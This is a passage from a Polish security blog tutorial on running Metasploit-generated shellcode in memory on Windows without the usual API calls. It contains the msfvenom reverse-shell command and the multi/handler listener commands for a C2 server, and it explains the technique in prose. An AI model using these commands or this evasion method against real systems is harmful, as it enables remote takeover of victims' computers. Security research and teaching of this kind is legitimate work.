Menu dostępności

Uruchomienie złośliwego kodu w pamięci na Windows bez korzystania z funkcji Windows API

W ostatnim naszym artykule pokazaliśmy uruchomienie złośliwego kodu za pomocą wbudowanych w Windows funkcji API np. VirtualAlloc() – funkcji powalającej zarezerwować lub zmienić alokację kodu w pamięci.
Jest to jedna ze znanych metod infekcji malware i uruchomienia go w pamięci komputera.

W dzisiejszym artykule pokażemy inną, równie ciekawą metodę na uruchomienie takiego złośliwego kodu z poziomu aplikacji napisanej w C/C++ bez korzystania ze wskaźników funkcji API (dobrze znanych interfejsów API systemu Windows, takich jak VirtualAlloc, CreateThread) lub w ogóle innych funkcji, nawet funkcji głównej (main w C/c++) 🙂 Cały kod zajmuje kilka linijek!


Co potrzebujemy?

Pierwszą rzeczą jaka musimy wygenerować to shellcode, który wstawimy jako zmienną do naszego programu napisanego w C++. Przygotować go możemy w dwóch krokach.

Krok 1. Wygenerowanie ładunku w C

Pierwszą rzeczą, jaką wykonamy to wygenerowanie ładunku w języku C++. Wygenerować go możemy za pomocą narzędzia Metasploit msfvenom, nastepującą komendą:

msfvenom -p windows/x64/shell_reverse_tcp -f c LHOST=172.16.215.129 LPORT=443

Krok 2. Przygotowanie nasłuchu połączenia odwrotnego TCP na serwerze C2

Drugą rzeczą jaką musimy przygotować to skonfigurowanie serwera C2 do nasłuchu na określonym porcie (w naszym przypadku 443) wszystkich połączeń/sesji od naszego kodu powłoki (ładunku), który zostanie uruchomiony na komputerze ofiary. Komunikacja będzie działała po połączeniu odwrotnym TCP, więc wystarczy, że wskażemy na sztywno adres IP serwera oraz port.

W tym celu posłużymy się modułem „multi/handler” w Metasploit, który przechwyci sesję po wykonaniu kodu powłoki w systemie docelowym.

Komendy jakie musimy wprowadzić to: use exploit/multi/handler set payload windows/x64/shell_reverse_tcp set LPORT 443 set LHOST 172.16.215.129 exploit


Napisanie kodu w C++ i kompilacja

W celu uruchomienia naszego ładunku przygotowanego w kroku 1, musimy użyć MS Visual C ++ i sekcji pragma wraz ze specyfikatorem deklaracji alokacji. W ten sposób wskażemy kompilatorowi C++, że chcemy, aby nasz shellcode został przydzielony w sekcji .text naszego przenośnego pliku wykonywalnego, co eliminuje potrzebę programu do przydzielania obiektu blob pamięci RWX do przechowywania kodu powłoki. Dodatkowo musimy rzucić tablicę zawierającą nasz shellcode na wskaźnik funkcji i wywołać ją – to pozwala nam pominąć CreateThread lub podobne API Windows, które są zwykle używane do przeskakiwania do shellcode

Kod w programie C++ wygląda następująco:

Po wstawieniu do zmiennej tablicowej shellcode (kodu wygenerowanego w kroku 1) i kompilacji programu możemy go uruchomić na Windows 10.

Po uruchomieniu na Windows 10 zobaczymy połączenie do naszego serwera C2 i będziemy posiadać uruchomioną zdalną sesję do Windows 10.

Popularne

Masowy wyciek danych PayPal – 15,8 miliona haseł w rękach cyberprzestępców

Masowy wyciek danych PayPal – 15,8 miliona haseł w rękach cyberprzestępców

16 sierpnia br. na forum cyberprzestępczym pojawiła się oferta sprzedaży ogromnej bazy danych, zawierającej ponad 15,8 miliona par adresów e-mail i haseł w formacie jawnego tekstu powiązanych z konta...
Groźna dziura w Microsoft IIS. Deserializacja usług może prowadzić do zdalnego wykonania kodu

Groźna dziura w Microsoft IIS. Deserializacja usług może prowadzić do zdalnego wykonania kodu

W połowie sierpnia 2025 roku ujawniono poważną lukę bezpieczeństwa w narzędziu Microsoft Web Deploy 4.0, używanym do publikacji aplikacji webowych na serwerach IIS. Luka – oznaczona jako CVE-2025-53772 – pozwal...
Nieznany exploit RCE dla Windows 10/11 i Server 2022 na sprzedaż. Czy konto SYSTEM jest już na wyciągnięcie ręki?

Nieznany exploit RCE dla Windows 10/11 i Server 2022 na sprzedaż. Czy konto SYSTEM jest już na wyciągnięcie ręki?

W świecie cyberbezpieczeństwa nic nie budzi większego niepokoju niż niezałatana luka typu zero-day, dająca możliwość wykonania zdalnego kodu bez żadnej interakcji ze strony użytkownika. Na czarnym ry...
Wyciek kodu źródłowego trojana bankowego ERMAC V3.0

Wyciek kodu źródłowego trojana bankowego ERMAC V3.0

Świat cyberbezpieczeństwa odnotował kolejne znaczące wydarzenie – ujawniono pełny kod źródłowy zaawansowanego trojana bankowego ERMAC V3.0, stworzonego z myślą o urządzeniach z systemem Android i działające...
Miliony laptopów Dell narażone na kompromitację

Miliony laptopów Dell narażone na kompromitację

Niedawno pisaliśmy o kłopotach Lenovo, dzisiaj czas na Dell. Okazuje się, że pięć luk w oprogramowaniu ControlVault3 i powiązanych interfejsach API systemu Windows naraża miliony laptopów na trwałe w...